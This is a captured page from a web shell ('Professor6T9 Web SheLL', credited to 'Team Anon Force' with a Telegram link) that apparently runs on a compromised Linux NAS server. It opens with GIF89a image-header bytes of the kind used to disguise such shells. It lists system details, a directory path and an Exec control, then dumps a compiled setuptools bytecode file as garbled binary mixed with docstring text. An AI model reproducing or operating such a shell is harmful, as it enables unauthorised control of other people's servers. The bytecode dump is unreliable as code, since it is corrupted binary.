GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux SamCT211 4.4.302+ #86009 SMP Wed Nov 26 18:19:20 CST 2025 x86_64
nginx/1.23.1
192.168.4.211
/
volume1
/
@appstore
/
Contacts
/
radicale
/
site-packages
/
setuptools
/
_distutils
/
__pycache__
[ HOME ]
Exec
Submit
versionpredicate.cpython-38.pyc
U �}�hU � @ s� d Z ddlZddlZddlmZ e�dej�Ze�d�Ze�d�Z dd � Z ejejej ejejejd �ZG dd� d�Zdad d� ZdS )zAModule for parsing and testing package version predicate strings.� N� )�versionz'(?i)^\s*([a-z_]\w*(?:\.[a-z_]\w*)*)(.*)z^\s*\((.*)\)\s*$z%^\s*(<=|>=|<|>|!=|==)\s*([^\s,]+)\s*$c C sN t �| �}|std| ����|�� \}}t�� � t�|�}W 5 Q R X ||fS )zVParse a single version comparison. Return (comparison string, StrictVersion) z bad package restriction syntax: )�re_splitComparison�match� ValueError�groupsr �suppress_known_deprecation� StrictVersion)�pred�res�compZverStr�other� r �M/tmp/pip-target-k_nuic9h/lib/python/setuptools/_distutils/versionpredicate.py�splitUp s r )�<z<=z==�>z>=z!=c @ s( e Zd ZdZdd� Zdd� Zdd� ZdS ) �VersionPredicatea� Parse and test package version predicates. >>> v = VersionPredicate('pyepat.abc (>1.0, <3333.3a1, !=1555.1b3)') The `name` attribute provides the full dotted name that is given:: >>> v.name 'pyepat.abc' The str() of a `VersionPredicate` provides a normalized human-readable version of the expression:: >>> print(v) pyepat.abc (> 1.0, < 3333.3a1, != 1555.1b3) The `satisfied_by()` method can be used to determine with a given version number is included in the set described by the version restrictions:: >>> v.satisfied_by('1.1') True >>> v.satisfied_by('1.4') True >>> v.satisfied_by('1.0') False >>> v.satisfied_by('4444.4') False >>> v.satisfied_by('1555.1b3') False `VersionPredicate` is flexible in accepting extra whitespace:: >>> v = VersionPredicate(' pat( == 0.1 ) ') >>> v.name 'pat' >>> v.satisfied_by('0.1') True >>> v.satisfied_by('0.2') False If any version numbers passed in do not conform to the restrictions of `StrictVersion`, a `ValueError` is raised:: >>> v = VersionPredicate('p1.p2.p3.p4(>=1.0, <=1.3a1, !=1.2zb3)') Traceback (most recent call last): ... ValueError: invalid version number '1.2zb3' It the module or package name given does not conform to what's allowed as a legal module or package name, `ValueError` is raised:: >>> v = VersionPredicate('foo-bar') Traceback (most recent call last): ... ValueError: expected parenthesized list: '-bar' >>> v = VersionPredicate('foo bar (12.21)') Traceback (most recent call last): ... ValueError: expected parenthesized list: 'bar (12.21)' c C s� |� � }|std��t�|�}|s0td|����|�� \| _}|� � }|r�t�|�}|sftd|����|�� d }dd� |�d�D �| _| js�td|����ng | _d S ) z!Parse a version predicate string.zempty package restrictionzbad package name in zexpected parenthesized list: r c S s g | ]}t |��qS r )r )�.0ZaPredr r r � <listcomp>| s z-VersionPredicate.__init__.<locals>.<listcomp>�,zempty parenthesized list in N) �stripr �re_validPackager r �name�re_paren�splitr )�selfZversionPredicateStrr Zparen�strr r r �__init__i s"